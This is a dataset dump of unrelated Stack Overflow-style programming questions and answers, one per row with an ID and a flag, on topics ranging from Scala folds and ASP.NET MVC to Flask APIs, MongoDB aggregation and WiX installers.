28409037	0	 <p>If we simplify your example we will get:</p> <pre><code> val interests = Seq[String]().map { x =&gt; Option[Map[String, String]](Map("k" -&gt; "v")) }.fold(Map[String, String]())(_) </code></pre> <p>This means that we are trying to <code>fold</code> <code>Seq[Option[Map[String, String]]]</code> with initial value <code>Map[String, String]()</code>:</p> <pre><code>def fold[A1 &gt;: A](z: A1)(op: (A1, A1) =&gt; A1): A1 = foldLeft(z)(op) </code></pre> <p>From <code>fold</code> definition we can see that compiler expects that <code>Option[Map[String, String]]</code> (each value in folding) and <code>Map[String, String]</code> (init value) should be of the same type. </p> <p>If you inspect <code>Option</code> hierarchy you will see:</p> <p><code>Option</code> -> <code>Product</code> -> <code>Equals</code></p> <p>For <code>Map</code> we have the following:</p> <p><code>Map</code> -> <code>GenMap</code> -> <code>GenMapLike</code> -> <code>Equals</code> (traits hierarchy is complicated, may be another chains exist).</p> <p>So we can see tha the nearest common type is <code>Equals</code>.</p> <p>Second part of your puzzle is <code>(_)</code>. </p> <p>This is treated by compiler as an argument of lambda:</p> <pre><code>val interests = x =&gt; /*omited*/.fold(Map[String, String]())(x) </code></pre> <p>As we saw <code>x</code> is <code>(A1, A1) =&gt; A1</code>. And in our case it is:</p> <pre><code>(Equals, Equals) =&gt; Equals </code></pre> <p>The result of <code>fold</code> is <code>A1</code> which is also <code>Equals</code>.</p> <p>As a result lambda type is:</p> <pre><code>((Equals, Equals) =&gt; Equals) /*&lt;&lt; arg*/ =&gt; /*result &gt;&gt;*/ Equals </code></pre> <p><strong>UPDATE:</strong></p> <p>To solve your problem I think you should use:</p> <pre><code>.flatten.reduce(_ ++ _) </code></pre>
15775625	0	 <p>While not explicitly documented for the <a href="http://docs.aws.amazon.com/AWSEC2/latest/APIReference/ApiReference-query-DescribeSpotPriceHistory.html" rel="nofollow">DescribeSpotPriceHistory</a> API action, this restriction is at least mentioned for the <a href="http://aws.amazon.com/console/" rel="nofollow">AWS Management Console</a> (which uses that API in turn), see <a href="http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-spot-instances-history.html" rel="nofollow">Viewing Spot Price History</a>:</p> <blockquote> <p>You can view the Spot Price history over a period from one to 90 days based on the instance type, the operating system you want the instance to run on, the time period, and the Availability Zone in which it will be launched.</p> </blockquote> <ul> <li>Since anybody could have retrieved and logged the entire spot price history ever since this API is available (and without a doubt quite some users and researchers have done just that; even the AWS blog listed some dedicated <a href="http://aws.typepad.com/aws/2009/12/thirdparty-aws-tracking-sites.html" rel="nofollow">Third-Party AWS Tracking Sites</a>, but these are all defunct at first sight), this restriction admittedly seems a bit arbitrary, but is certainly pragmatic from a strictly operational point of view, i.e. you have all the information you need to base future bids upon (esp. given AWS has only ever reduced prices so far, and regularly does so in fact much to the delight of its customers).</li> </ul> <p>Likewise there's no option to change the frequency, so you'd need to resort to client side code for the hourly aggregation.</p>
10081738	1	How to convert '［' to '[' use python <p>I use this :</p> <pre><code> title=title.replace(u'【',u'[').replace(u'】',u'[') </code></pre> <p>But Error:</p> <pre><code>UnicodeDecodeError: 'ascii' codec can't decode byte 0xe3 in position 0: ordinal not in range(128) </code></pre>
34746293	0	How to set InstanceContextMode through Custom Behavior implementing IServiceBehavior <p>Is there a way to set the <strong>InstanceContextMode</strong> through a custom service behavior implementing <strong>IServiceBehavior</strong> --> <strong>ApplyDispatchBehavior</strong></p>
18712778	0	 <p>It's not possible in C#.</p> <p>Use a bunch of <code>if</code>s instead.</p>
35728967	0	 <p>You have to wrap the call to <code>self.mail_processor.poll_history_feed</code> in a try/except block and log the error for convenience.</p> <pre><code>def safe_poll_history_feed(self): try: self.mail_processor.poll_history_feed() except Exception: cherrypy.engine.log("Exception in mailprocessor monitor", traceback=True) </code></pre> <p>And then use the <code>safe_poll_history_feed</code> method</p>
3641370	0	In C, is there a cross-platform way to store what a variable might contain for quick reloading of its contents? <p>The idea is that an application may contain a struct of large arrays that are filled up via a slow external library. So, what if that could be easily stored to a file for fast reference, at least after it has been run once? If it's not possible to be done easily in a cross platform way, is it easy to be done locally 'after a first run'?</p>
30677861	0	Using Html.TextBox with custom property in mvc5 <p>if we have the below code,</p> <pre><code>&lt;input id="Name" name="Name" type="text" data-bind="value: Name" class="title width-7" /&gt; </code></pre> <p>we can translate it using <code>@Html.TextBoxFor</code> to:</p> <pre><code>@Html.TextBoxFor(m =&gt; m.Name, new { data_bind="value: Name", @class = "title width-7" }) </code></pre> <p>now I have this line that i can't translate the 'placeholder' attribute with <code>@Html.TextBoxFor</code>, how can I do that??</p> <pre><code> &lt;input type="email" class="form-control" id="exampleInputEmail3" placeholder="Enter email"&gt; </code></pre> <p>thanks...</p>
10551178	0	 <p>You've in the preprocessing servlet <strong>already</strong> set the <code>queryResult</code> in the request scope. </p> <pre><code>request.setAttribute("queryResult",result); </code></pre> <p>So you do <strong>not</strong> need to use <code>&lt;jsp:useBean&gt;</code> at all. Remove the following line altogether:</p> <pre><code>&lt;jsp:useBean id="queryResult" class="uges.servlets.MyQuery" scope="request"/&gt; </code></pre> <p>Because your servlet has set it as a request attribute, the object is <strong>already</strong> in EL available by <code>${queryResult}</code>. But due to the strange design of the class itself, it's hard to properly access it in EL, so you'll ineed need to resort to old school <em>scriptlets</em>. You only need to obtain it first by <code>request.getAttribute("queryResult")</code>.</p> <p>For a better design approach, check the <a href="http://stackoverflow.com/tags/servlets/info">servlets tag wiki page</a> and <a href="http://stackoverflow.com/questions/5003142/jsp-using-mvc-and-jdbc/5003701#5003701">JSP using MVC and JDBC</a>.</p>
22518120	0	UPDATE using html form (edit button) php/mysql <p>I'm trying to figure out how to UPDATE a post in my db using html form. I have a page with a form using INSERT that successfully uploads data to my db. I also have another page presenting that data using SELECT. On this page I would like to have an Edit button, sending me to a similar page with the original form but this with the data from the db already inserted into the form, for easy editing and updating. Basically I don't know where to start and I need your help! It's an album database btw.</p> <p><strong>form page</strong></p> <pre><code>&lt;form method="post" action="spara2.php" name="std"&gt; &lt;label&gt;Cover:&lt;/label&gt;&lt;br&gt; &lt;input id="file" type="file" name="file"&gt;&lt;br&gt; &lt;label&gt;Title:&lt;/label&gt;&lt;br&gt; &lt;input type="text" name="std_title" size="58"/&gt;&lt;br&gt; &lt;label&gt;Artist:&lt;/label&gt;&lt;br&gt; &lt;input type="text" name="std_artist" size="58"/&gt;&lt;br&gt; &lt;label for="select"&gt;&lt;br&gt; Year:&lt;/label&gt;&lt;br&gt; &lt;select name="std_year"&gt; &lt;option value="2014"&gt;2014&lt;/option&gt; &lt;option value="2013"&gt;2013&lt;/option&gt; &lt;option value="2012"&gt;2012&lt;/option&gt; &lt;option value="2011"&gt;2011&lt;/option&gt; &lt;option value="2010"&gt;2010&lt;/option&gt; &lt;option value="2009"&gt;2009&lt;/option&gt; &lt;option value="2008"&gt;2008&lt;/option&gt; &lt;option value="2007"&gt;2007&lt;/option&gt; &lt;option value="2006"&gt;2006&lt;/option&gt; &lt;/select&gt;&lt;br&gt; &lt;label&gt;Description:&lt;/label&gt;&lt;br&gt; &lt;textarea name="std_beskriv" cols="45" rows="7"&gt; &lt;/textarea&gt;&lt;br&gt; &lt;label&gt;Tracks:&lt;/label&gt;&lt;br&gt; &lt;textarea name="std_lista" cols="45" rows="7"&gt; &lt;/textarea&gt;&lt;br&gt; &lt;label&gt;Spotify HTTP Link:&lt;/label&gt;&lt;br&gt; &lt;input type="text" name="std_spotify" size="58"/&gt;&lt;br&gt; &lt;br&gt; &lt;label for="reset"&gt;&lt;/label&gt;&lt;input type="reset" value="Reset"/&gt; &lt;label for="save"&gt;&lt;/label&gt;&lt;input type="submit" name="std_save" value="Save"/&gt; &lt;/form&gt; </code></pre> <p> </p> <p>My db is called album and the table musik. I want a similar page but with the data from the db inserted into it. My table has:</p> <ol> <li>id</li> <li>title</li> <li>artist</li> <li>year</li> <li>beskriv</li> <li>tracks</li> <li>spotify</li> <li>date</li> </ol> <p>Since there's a lot of posts in the db how can I select specific entry's so that I can edit one album at a time?</p> <p>Hope you can understand what i'm after.</p> <p>Thanks!</p>
38391571	0	 <p>Well, needless to answer the comments, as the code worked beautifully after I opened the project up this morning.</p> <p>There has to be some kind of bug in JDeveloper when creating new packages and files, odd thing is I restarted the web service to make sure that the new folders would integrate, but by the looks of it JDeveloper needs, at the very least, to be restarted in order to integrate new folders/files.</p> <p>Definitely this IDE is a great let down from Oracle.</p> <p>Thank you all for your comments.</p>
27409557	0	 <p>Your math problem is right here:</p> <pre><code> writeStream.Write(buffer, 0, bytesRead); bytesRead = responseStream.Read(buffer, 0, Length); var progress = bytesRead * 100.0 / writeStream.Length; bw.ReportProgress((int)progress,SummaryText); </code></pre> <p>The return value from <code>responseStream.Read</code> is the number of bytes you read <em>in that one read</em>. It's not the total number of bytes read since you started reading from the file.</p> <p>Also, dividing the number of bytes read by the total number written (i.e. <code>writeStream.Length</code>) isn't telling you anything useful.</p> <p>If you want to update a progress bar, you have to know how many total bytes there are in the file, and how many total bytes you've read up to this point. So if the file is 1,000,000 bytes long, and you've read 450,000 bytes <em>total</em>, the progress would be 45% (i.e. 450000/1000000).</p> <p>In your code, you have to get the file size from the FTP server. That's the total number of bytes you're going to download. Then you need keep track of how many bytes you've read up to this point. The basic idea is:</p> <pre><code>int totalBytesToBeRead = ??; // somehow get length. responseStream.Length doesn't work. int totalBytesRead = 0; int bytesRead = -1; while (bytesRead != 0) { bytesRead = responseStream.Read(...); // now add to the total totalBytesRead += bytesRead; var progress = totalBytesRead * 100.0 / totalBytesToRead; } </code></pre> <h2>Update</h2> <p>The problem appears to be that <code>FtpWebRequest</code> doesn't supply a <code>ContentLength</code>, so you need some other way to get the length. The only thing that comes to mind is to request the length up front by doing a separate <code>FtpWebRequest</code> with the <code>GetFileSize</code> method. See <a href="http://stackoverflow.com/questions/4175874/get-file-size-on-an-ftp-in-c-sharp">Get File Size On An FTP in C#</a> for an example.</p>
24180379	0	Creating relations in parse.com with multiple classes (JavaScript SDK) <p>Using parse.com and JavaScript SDK.</p> <p>I've read alot about this, but cannot find any examples that fit my issue I'm trying to solve.</p> <p>Here is what I'm attempting to achieve.</p> <p>I want class "FriendRequest" to have a one to many relation with "myBadges". The child objects held in "myBadges" will be increasing overtime.</p> <p>The child objects are generated by a function that runs when the user selects a badge and uses "Yes, do it now!" to store it in "myBadges".</p> <p>At the moment I can only seem to create a relationship within the active class that the function uses. This means I have a relation set up in "myBadges" that just points to the User class, not to the class "FriendRequest".</p> <p>The relation is in this part of code</p> <pre><code> success: function(results) { // The object was saved successfully. userbadges.relation('BadgeConnect').add(userbadges); userbadges.save(); </code></pre> <p>So the problem I'm trying to solve is to move the relation link from the "myBadges" class to the "FriendRequest" class???</p> <p>An example answer how how to achieve this would be great to help me learn the correct approach.</p> <p>FULL CODE.</p> <pre><code>&lt;script type="text/javascript"&gt; Parse.initialize("xxxx", "xxxxx"); var MyBadges = Parse.Object.extend("myBadges"); var friendRequest = Parse.Object.extend("FriendRequest"); var userbadges = new MyBadges(); var friendRequest = new friendRequest(); var user = Parse.User.current(); $(document).ready(function() { $("#send").click(function() { var badgeselected = $('#badgeselect .go').attr("src"); userbadges.set("BadgeName", badgeselected); userbadges.set("uploadedBy", user); //userbadges.set('BadgeName'); //userbadges.save(); userbadges.save(null, { success: function(results) { // The object was saved successfully. userbadges.relation('BadgeConnect').add(userbadges); userbadges.save(); //location.reload(); }, error: function(contact, error) { // The save failed. // error is a Parse.Error with an error code and description. alert("Error: " + error.code + " " + error.message); } }); }); }); </code></pre>
11175798	0	How to count characters of other langauges in edittext <p>I am trying to count Unicode characters like Arabic or Chinese in a edittext. I manage to count normal characters using this example: <a href="http://stackoverflow.com/a/9867992/1282492">http://stackoverflow.com/a/9867992/1282492</a></p> <p>I want to limit normal characters to 160 and Unicode characters to 80, is there anyway i can do this?</p>
19390323	0	Why is my copy constructor not working with new invocation and has same memory address? <p>Am i able to use a copy constructor with the new keyword? My code also shows the 2 obj pointers have the same memory address? </p> <pre><code>#include &lt;iostream&gt; using namespace std; class Person{ public: int age; Person() { } Person(const Person&amp; p ) : age(p.age) { } }; int main() { Person *p = new Person(); p-&gt;age = 15; Person *y = p; // Person *z = new Person(p); why no work??? // p and y have the same memory addres?? std::cout &lt;&lt; p; std::cout &lt;&lt; y; return 0; } </code></pre>
18925739	0	 <p>This is likely because you're trying to output to a <code>url</code> as opposed to a local document...</p> <p>Your ouput path:</p> <pre><code>http://website.com/Images/accents/generated/imagename.jpg </code></pre> <p>This won't work... The output has to be local, try something like:</p> <pre><code>./Images/accents/generated/imagename.jpg </code></pre>
40496659	0	 <p>As I see it you have a couple of alternatives. One of them is: </p> <p><strong>CUBE object</strong></p> <ul> <li>set a <code>boolean</code> variable on your cubes. <code>boolean hasBeenHit</code> or similar. This starts att <code>false</code>. </li> <li>Give the cube a <code>OnTriggerEnter()</code> where it sets the <code>hasBeenHit = true</code>.</li> <li>Make a public getter for <code>hasBeenHit</code>.</li> </ul> <p><strong>Ball object</strong></p> <ul> <li>In <code>OnTriggerEnter(Collider other)</code> check if <code>other</code> is a cube.</li> <li>If it is a cube, check if its <code>hasBeenHit</code> is <code>true</code> or <code>false</code>.</li> <li>If it is <code>false</code>, increment <code>count</code></li> </ul>
31090313	0	 <p>I think it's gradle's fault. Go and click build from the top options, then select clean project.</p> <p>Since I cannot see the rest of the code, I assume this is the problem.</p>
37386171	0	 <p>Working for MongoID 5.x. With the mongo shell and MongoID is straightforward:</p> <ol> <li><p>Pick up your object id</p> <p><code>ModelName.first.id # then copy your_id</code></p></li> <li><p>Run mongo console</p> <p><code>mongo</code></p></li> <li><p>Get the size in bytes of the document</p> <p><code>Object.bsonsize(db.modelname.find({"_id": ObjectId("your_id")}))</code></p></li> </ol>
38509599	0	 <p>You probably want to use a <a href="https://developer.android.com/reference/android/text/SpannableString.html" rel="nofollow">SpannableString</a> for this, which allows individual parts of a string to be rendered differently in a TextView.</p> <p>Like so:</p> <pre><code> SpannableString str = new SpannableString("Highlighted. Not highlighted."); str.setSpan(new BackgroundColorSpan(Color.YELLOW), 0, 11, 0); textView.setText(str); </code></pre>
4562133	0	 <p>Have a look at this post. </p> <p><a href="http://stackoverflow.com/questions/3777611/iphone-send-mail-in-background-when-didupdatetolocation-occurs">iphone send mail in background when didUpdateToLocation occurs</a></p>
14752765	0	 <p>What I surmise according to your question... </p> <blockquote> <p>CREATE TABLE PEOPLE(ID INTEGER,PERSON VARCHAR(20),USERID INTEGER); CREATE TABLE TASKS(ID INTEGER,TASK VARCHAR(20),USERID INTEGER); CREATE TABLE TASKPERSON(ID INTEGER,PERSONID INTEGER,TASKID INTEGER);</p> <p>INSERT INTO PEOPLE VALUES(1,"RAHUL",1); INSERT INTO TASKS VALUES(1,NULL,1); INSERT INTO TASKPERSON VALUES(1,1,NULL);</p> <p>INSERT INTO PEOPLE VALUES(1,"RAUNAK",1); INSERT INTO TASKS VALUES(1,"R",1); INSERT INTO TASKPERSON VALUES(1,1,33);</p> <p>INSERT INTO PEOPLE VALUES(2,"PARTH",2); INSERT INTO TASKS VALUES(2,"P",2); INSERT INTO TASKPERSON VALUES(2,2,22);</p> <p>INSERT INTO PEOPLE VALUES(3,"KANISHK",3); INSERT INTO TASKS VALUES(3,"K",3); INSERT INTO TASKPERSON VALUES(3,3,33);</p> <p>INSERT INTO PEOPLE VALUES(4,"HEENA",4); INSERT INTO TASKS VALUES(4,NULL,4); INSERT INTO TASKPERSON VALUES(4,4,NULL);</p> </blockquote> <p>When not including "NOT IN", you will retrieve the list of those people who are not allocated.</p> <pre><code>SELECT P.*,P.ID FROM PEOPLE P LEFT JOIN TASKPERSON TP ON P.ID=TP.PERSONID WHERE P.USERID=1 AND TP.PERSONID IN(SELECT TP.PERSONID FROM TASKPERSON TP WHERE TP.PERSONID=1 AND TP.TASKID=33) GROUP BY P.ID </code></pre>
17698511	0	 <p>This means that the font you are using simple doesn't support your chosen characters. I'm facing this problem and trying to find some solution, but at the moment with no results. </p>
2808430	0	 <p>HTMLEntities seems to work but you have an encoding problem. The terminal you're printing on is probably set up for a latin charset and barfs on the utf-8 characters output by your script.</p> <p>In what environment are you running ruby ?</p> <p>The reason '&amp;' displays correctly is that it's an ascii character and thus will display the same in most encodings.The problem is that it's not supposed to happen alone in an xml document and could pose problems later when you feed your decoded file to hpricot. I believe the proper way would be to parse with hpricot and then pass what you're extracting from the document to HTMLEntity.</p>
25609155	0	 <p>I think it is not correct to call <code>prepareMap(Lang, Long)</code> and <code>addData()</code> after to the call <code>query.getInBackground(...)</code> because "In background" means in a different Thread. You should reorder your calls like this:</p> <pre><code>ParseQuery&lt;ParseObject&gt; query = ParseQuery.getQuery("resdb"); query.getInBackground(obj, new GetCallback&lt;ParseObject&gt;() { @Override public void done(ParseObject object, ParseException e) { if (e == null) { restName = object.getString("name"); restCuisine = object.getString("cuisine"); restLocation = object.getString("location"); restAddress = object.getString("address"); // Update your info after to get the rest info prepareMap(Lang, Long); addData(); } else { e.printStackTrace(); } } }); </code></pre> <p>I hope this help you!</p>
821106	0	 <p>You can throw in </p> <pre><code>return false </code></pre> <p>wherever you want the code execution in your action to stop</p>
14093088	0	 <p>You can't really just get the title, you can get the whole document and then weed out the elements you need: I like to use <a href="http://simplehtmldom.sourceforge.net/manual.htm#section_find" rel="nofollow">Simple Html Dom Parser</a></p> <pre><code>$html = file_get_html('http://www.google.com/'); $title = $html-&gt;find('title'); </code></pre>
14048204	0	Delphi - Graphics32, draw antialiased rounded rectangle <p>How can I draw an anti-aliased rounded corners rectangle using Graphics32?</p> <p>I managed to make a normal rectangle with TPolygon onto the bitmap32 canvas, but I cant find any reference to drawing rounded corners. Would appreciate some code.</p>
10874316	0	 <p>I would suggest to read the following article about SSL sockets in Erang that contains complete code of the SSL echo server and client.</p> <p><a href="http://erlycoder.com/89/erlang-ssl-sockets-example-ssl-echo-server-ssl-client-" rel="nofollow">Erlang SSL sockets example - ssl server &amp; client)</a></p>
9149850	0	Imported a SQL Server database, and it says login failed for a user that doesn't exist <p>I have a asp.net web application that I was hosting somewhere.</p> <p>I backed up the database and restored it locally.</p> <p>Now when I run the application, it says <code>myapp_user123011</code> doesn't exist.</p> <p>When looking at the security section for the db and the database server, I don't see that user anywhere.</p> <p>My <code>web.config</code> was changed to use the <code>sa</code> account.</p> <p>Not sure where this user could be referenced?</p> <p>I'm guessing this database user was imported into my database server (SQL Server 2008 R2) but for some reason isn't showing up in the user list in the security sections).</p> <p>How can I search and delete this user if this is the case?</p> <p>(Note: I have searched the entire solution for that username and it doesn't exist)</p>
8893012	0	 <p>You can earn money from impressions (ads being displayed) but it is very small amounts per thousand impressions. You will earn slightly more from clicks.</p> <p>Don't filter unless you have personal (eg ethical/moral) or competitive objections to the type of content being displayed to give yourself the best chance of earning revenue.</p>
16677238	1	Flattening an array in Flask API <p>I'm making an API with flask that takes as a POST message body a nested array, and then returns a list of the values. An example would be curl …. –d ”(([[1, [], [2, 3]], [[4]], 5])” would return [1,2,3,4,5]. The flattening script works in the command line, but when I POST to the API, I get some weird results. Code is here:</p> <pre><code>app = Flask(__name__) app.config.from_object(__name__) app.config.from_envvar('PHIGITAL_SETTINGS', silent=True) @lru_cache(maxsize=500) def flatten(l): flattened = [] for el in l: if isinstance(el, (list, tuple)): flattened.extend(flatten(el)) else: flattened.append(el) return flattened @app.route('/flatten', methods=['POST']) def flatten_api(): if request.method == 'POST': try: return jsonify({"response" : flatten(request.data)}) except Exception as e: return jsonify({"response" : "ERROR: %s" % str(e)}) if __name__ == '__main__': app.run() </code></pre> <p>Testing this in Postman gets me the response: { "response": [ "[", "[", "1", ",", " ", "[", "]", ",", " ", "[", "2", ",", " ", "3", "]", "]", ",", " ", "[", "[", "4", "]", "]", ",", " ", "5", "]" ] }</p> <p>Which is obviously not correct. I thought that it might have to do with the fact that request.data is a string, so I tried using ast.literal_eval to make request.data a list, but then I get the error "unhashable type: 'list'" when I try to call flatten on ast.literal_eval(request.data). I'm totally stumped and any help would be greatly appreciated.</p> <p>Also, is it possible in Flask to return just a value, rather than a key value pair? I'd rather return just [1,2,3,4,5] rather than {"response": [1,2,3,4,5]}</p>
7037957	0	 <p>You need</p> <pre><code>$select = $this-&gt;select() -&gt;from(array('mpp' =&gt; 'menu_profiles_products'), array('NAME' =&gt; 'p.name', 'PRICE' =&gt; 'p.price*mp.added_value/100')) -&gt;join(array('p' =&gt; 'products'), 'p.id = mpp.product_id') -&gt;join(array('mp' =&gt; 'menu_profiles'), 'mp.id = mpp.profile_id') -&gt;where('mpp.profile_id = ?', $profileID); $adapter = new Zend_Paginator_Adapter_DbTableSelect($select); return $adapter; </code></pre> <p>OR if you want use Zend_Db_Select</p> <pre><code>$select = $this-&gt;getDefaultAdapter()-&gt;select() -&gt;from(array('mpp' =&gt; 'menu_profiles_products'), array('NAME' =&gt; 'p.name', 'PRICE' =&gt; 'p.price*mp.added_value/100')) -&gt;join(array('p' =&gt; 'products'), 'p.id = mpp.product_id') -&gt;join(array('mp' =&gt; 'menu_profiles'), 'mp.id = mpp.profile_id') -&gt;where('mpp.profile_id = ?', $profileID); $adapter = new Zend_Paginator_Adapter_DbSelect($select); return $adapter; </code></pre>
25727282	0	 <p>Another option is placing an error container outside of your form group ahead of time. The validator will then use it if necessary.</p> <pre><code>&lt;div class="form-group"&gt; &lt;label class="control-label" for="new-task-due-date"&gt;When is the task due?&lt;/label&gt; &lt;div class="input-group date datepicker"&gt; &lt;input type="text" id="new-task-due-date" class="required form-control date" name="dueDate" /&gt; &lt;span class="input-group-addon"&gt; &lt;span class="glyphicon glyphicon-calendar"&gt;&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;label for="new-task-due-date" class="has-error control-label" style="display: none;"&gt;&lt;/label&gt; &lt;/div&gt; </code></pre>
1371301	0	 <p>Outside of Java, in-browser OpenGL is really in its infancy. Google's launched a really cool API and plugin for it though. It's called O3D:</p> <p><a href="http://code.google.com/apis/o3d/" rel="nofollow noreferrer">http://code.google.com/apis/o3d/</a></p> <p>Article about the overall initiative: <a href="http://www.macworld.com/article/142079/2009/08/webgl.html" rel="nofollow noreferrer">http://www.macworld.com/article/142079/2009/08/webgl.html</a></p>
12277340	0	 <p>I've tried to produce a "simpler" query that works and so far nothing.</p> <p>If I stick with your basic structure I can offer a slight improvement. Try this:</p> <pre><code>public static IObservable&lt;T&gt; FirstOrLastAsync&lt;T&gt;( this IObservable&lt;T&gt; source, Func&lt;T, bool&gt; pred) { return Observable.Create&lt;T&gt;(o =&gt; { var hot = source.Publish(); var store = new AsyncSubject&lt;T&gt;(); var d1 = hot.Subscribe(store); var d2 = hot .Where(x =&gt; pred(x)) .Concat(store) .Take(1) .Subscribe(o); var d3 = hot.Connect(); return new CompositeDisposable(d1, d2, d3); }); } </code></pre> <p>It's not hugely better, but I like it better than using <code>Amb</code>. It's just a tad cleaner I think.</p>
40849566	0	 <blockquote> <p>so is it possible to get the view object of a android default screen? </p> </blockquote> <p>No. That app runs in another process. Its objects cannot magically transport themselves to your process.</p> <blockquote> <p>i want to know how can i get content of device default screen content from my application</p> </blockquote> <p>On Android 5.0+, with user permission, you can use the media projection APIs to take screenshots.</p>
25641015	0	 <p>All MongoDB queries produce "key/value" pairs in the result document. All MongoDB content is basically a BSON document in this form, which is just "translated" back to native code form by the driver to the language it is implemented in.</p> <p>So the aggregation framework alone is never going to produce a bare array of just the values as you want. But you can always just transform the array of results, as after all it is only an array</p> <pre><code>var result = db.collection.aggregate(pipeline); var response = result.result.map(function(x) { return x._id } ); </code></pre> <p>Also note that the default behavior in the shell and a preferred option is that the aggregation result is actually returned as a cursor from MongoDB 2.6 and onwards. Since this is in list form rather than as a distinct document you would process differently:</p> <pre><code>var response = db.collection.aggregate(pipeline).map(function(x) { return x._id; }) </code></pre>
23709649	0	MsSql server 2008 r2 Data Syncronization <p>I'm working on a project in C#.NET (WPF) with 2 SQL Server 2008 R2 databases. I need to update new/changed data from local db to online db. Client system has low bandwidth connection. So I need a solution to upload a file to sync.</p> <p>Can anyone tell me how I can do this? Programming example will be more beneficial for me.</p>
37933880	0	WiX Bootstrapper <p>I am trying to create an installer for a simple .NET WPF C# app. I am using VS 2013, and WiX 3.10.2. Following the steps in the Wix Tutotial/ .NET/ Bootstrapping I have created a Boostrap.exe which chains .NET web installer and the app Setup.msi.</p> <p><strong>EDIT</strong>: My goal is to understand how to configure the WiX Bootstrap and Setup projects for small updates, minor upgrades, and major upgrades scenarios.</p> <p>Out of the box, everything seems to work nice when I run a fresh install. However, when I run a fresh built Bootstrap.exe over an already existing installation a duplicate entry appears in the Apps &amp; features and no file is changed in the app target location - contrary to the expectation that the same entry should remain in the Apps &amp; features and the target location should be updated. <strong>EDIT</strong>: Looks like there may not be a way to change REINSTALLMODE? </p> <p>If I add a Product Id and then change the version of the Setup (minor upgrade), the Bootstrap fails with User cancelled installation? The log file shows "Error 0x80070642: Failed to perform minor upgrade of MSI package." <strong>EDIT</strong>: Inside the MSI log a SecureRepair fails with error code 39439E438 (?) probably because the stored hash value does not match the current... but that should be expected in a minor upgrade MSI, right?</p> <p>Are there recommended configurations between the Boostrapper and Setup WiX projects such that the small update, minor upgrade, and major upgrade use cases can be handled properly, or does the WiX Bootstrapper support ONLY major upgrades?</p> <p>I will continue to investigate and I'll post updates to my findings; </p> <p>Any hints are greatly appreciated, Thanks!</p> <p>Here are the source files which I barely changed from the WiX wizard generated code:</p> <p>--- Product.wxs ---</p> <pre><code>&lt;Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"&gt; &lt;Product Id="*" Name="SetupProject1 1.0.0.0" Language="1033" Version="1.0.0.0" Manufacturer="Acme" UpgradeCode="4c8a8cbf-e3d0-410c-8a8d-7e67eb4e7ff7"&gt; &lt;Package InstallerVersion="200" Compressed="yes" InstallScope="perUser" InstallPrivileges="limited" /&gt; &lt;MajorUpgrade DowngradeErrorMessage="A newer version of [ProductName] is already installed." /&gt; &lt;MediaTemplate /&gt; &lt;Feature Id="ProductFeature" Title="SetupProject1" Level="1"&gt; &lt;ComponentGroupRef Id="ProductComponents" /&gt; &lt;/Feature&gt; &lt;/Product&gt; &lt;Fragment&gt; &lt;Directory Id="TARGETDIR" Name="SourceDir"&gt; &lt;Directory Id="LocalAppDataFolder"&gt; &lt;Directory Id="AcmeFolder" Name="Acme"&gt; &lt;Directory Id="INSTALLFOLDER" Name="WpfApplication1" /&gt; &lt;/Directory&gt; &lt;/Directory&gt; &lt;/Directory&gt; &lt;/Fragment&gt; &lt;Fragment&gt; &lt;ComponentGroup Id="ProductComponents" Directory="INSTALLFOLDER"&gt; &lt;Component Id="ProductComponent" Guid="8CA0B70F-39DA-4B4B-9104-46C58E26FCF4"&gt; &lt;CreateFolder/&gt; &lt;RemoveFolder Id="RemoveAcmeFolder" Directory="AcmeFolder" On="uninstall"/&gt; &lt;RemoveFolder Id="RemoveINSTALLFOLDER" On="uninstall" /&gt; &lt;RegistryValue Root="HKCU" Key="Software\Acme\WpfApplication1" Name="Version" Type="string" Value="[ProductVersion]" KeyPath="yes" /&gt; &lt;File Source="$(var.WpfApplication1.TargetPath)" KeyPath="no" /&gt; &lt;/Component&gt; &lt;/ComponentGroup&gt; &lt;/Fragment&gt; </code></pre> <p></p> <p>--- Bundle.wxs ---</p> <pre><code>&lt;Wix xmlns="http://schemas.microsoft.com/wix/2006/wi" xmlns:bal="http://schemas.microsoft.com/wix/BalExtension"&gt; &lt;Bundle Name="Bootstrapper1 1.0.0.0" Version="1.0.0.0" Manufacturer="Acme" UpgradeCode="e1092cbb-9134-42fc-a9f2-652f95f361fd"&gt; &lt;BootstrapperApplicationRef Id="WixStandardBootstrapperApplication.RtfLicense" /&gt; &lt;Chain&gt; &lt;MsiPackage Name="Acme Setup" SourceFile="$(var.SetupProject1.TargetPath)" Vital="yes" /&gt; &lt;/Chain&gt; &lt;/Bundle&gt; </code></pre> <p></p>
40132812	0	splitting string into integer and string C++ <p>As a part of my project, I am expected to receive input in the following format.</p> <p>AXXX AXXX AXXX .....</p> <p>where A is a letter (any capital), and XXX is any integer (note that this number does not have to be limited to 3 digits). The letter is associated with some functionality (e.g. A means Add XXX to a list of numbers). I want to make a function that can read each term in the input and recognise what actions need to be taken (e.g. if I put A123 A983 A828 i know that i want to store the numbers 123 983 and 828 on a list). I hope that this was not confusing. If you are wondering why I am doing this, my project is on linked lists and requires input from the user to add nodes to the linked list. </p>
38328767	0	Access Query Hangs w/ Where instead of Join on Memo field <p>Access 2013</p> <pre><code>UPDATE [1 Clean Reasons], Data, [Final Crosswalk] SET [Final Crosswalk].CR_ID = [1 Clean Reasons].[CR_ID] WHERE (((Data.Reason)=[1 Clean Reasons].[Reason])); </code></pre> <p>I'm trying to build a record ID crosswalk table, "Final Crosswalk", I need to join Data.Reason = 1 Clean Reasons.Reason, but it's a memo field - thus the Where statement.</p> <p>I can view this query, but I can't get it to export or update. I'm assuming it's an issue with the resource requirements of the Where statement (the table has ~1M records).</p>
28315276	0	 <p>If you want use generators to make async then you code is valid. ES6 contains only promises to async operations. ES7 will have async/await. You can also use a good library: <a href="https://github.com/kriskowal/q" rel="nofollow">https://github.com/kriskowal/q</a> or use only native promises Promise.All without generators.</p>
39484772	0	Classes do not change <p>I have faced with a strange problem. Once I change the <code>.java</code> file - it seems that tests are using still the previous version of that file (<code>.class</code>). </p> <p>From my point of view the class should be removed from <code>.build</code> folder and be recompiled from the new version of the .java file, but this only happens when I manually start build from Gradle. </p> <p>Can I somehow turn on the autorebuild solution for <code>.java</code> files on change? Or can I do this event without gradle? I'm using Intellij Idea.</p>
